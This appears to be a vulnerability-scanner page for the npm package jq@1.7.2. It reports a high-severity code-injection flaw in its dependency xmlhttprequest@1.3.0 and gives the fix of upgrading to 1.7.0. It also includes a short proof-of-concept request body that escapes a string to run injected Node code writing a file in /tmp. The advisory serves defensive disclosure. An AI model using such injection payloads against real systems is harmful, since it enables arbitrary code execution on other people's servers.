jq@1.7.2

Vulnerabilities

1 via 1 paths

Dependencies

58

Source

npm

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
Status
  • 1
  • 0
  • 0

high severity

Arbitrary Code Injection

  • Vulnerable module: xmlhttprequest
  • Introduced through: xmlhttprequest@1.3.0

Detailed paths

  • Introduced through: jq@1.7.2 xmlhttprequest@1.3.0
    Remediation: Upgrade to xmlhttprequest@1.7.0.

Overview

xmlhttprequest is a wrapper for the built-in http client to emulate the browser XMLHttpRequest object.

Affected versions of this package are vulnerable to Arbitrary Code Injection. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.

POC

const { XMLHttpRequest } = require("xmlhttprequest")

const xhr = new XMLHttpRequest()
xhr.open("POST", "http://localhost.invalid/", false /* use synchronize request */)
xhr.send("\\');require(\"fs\").writeFileSync(\"/tmp/aaaaa.txt\", \"poc-20210306\");req.end();//")

Remediation

Upgrade xmlhttprequest to version 1.7.0 or higher.

References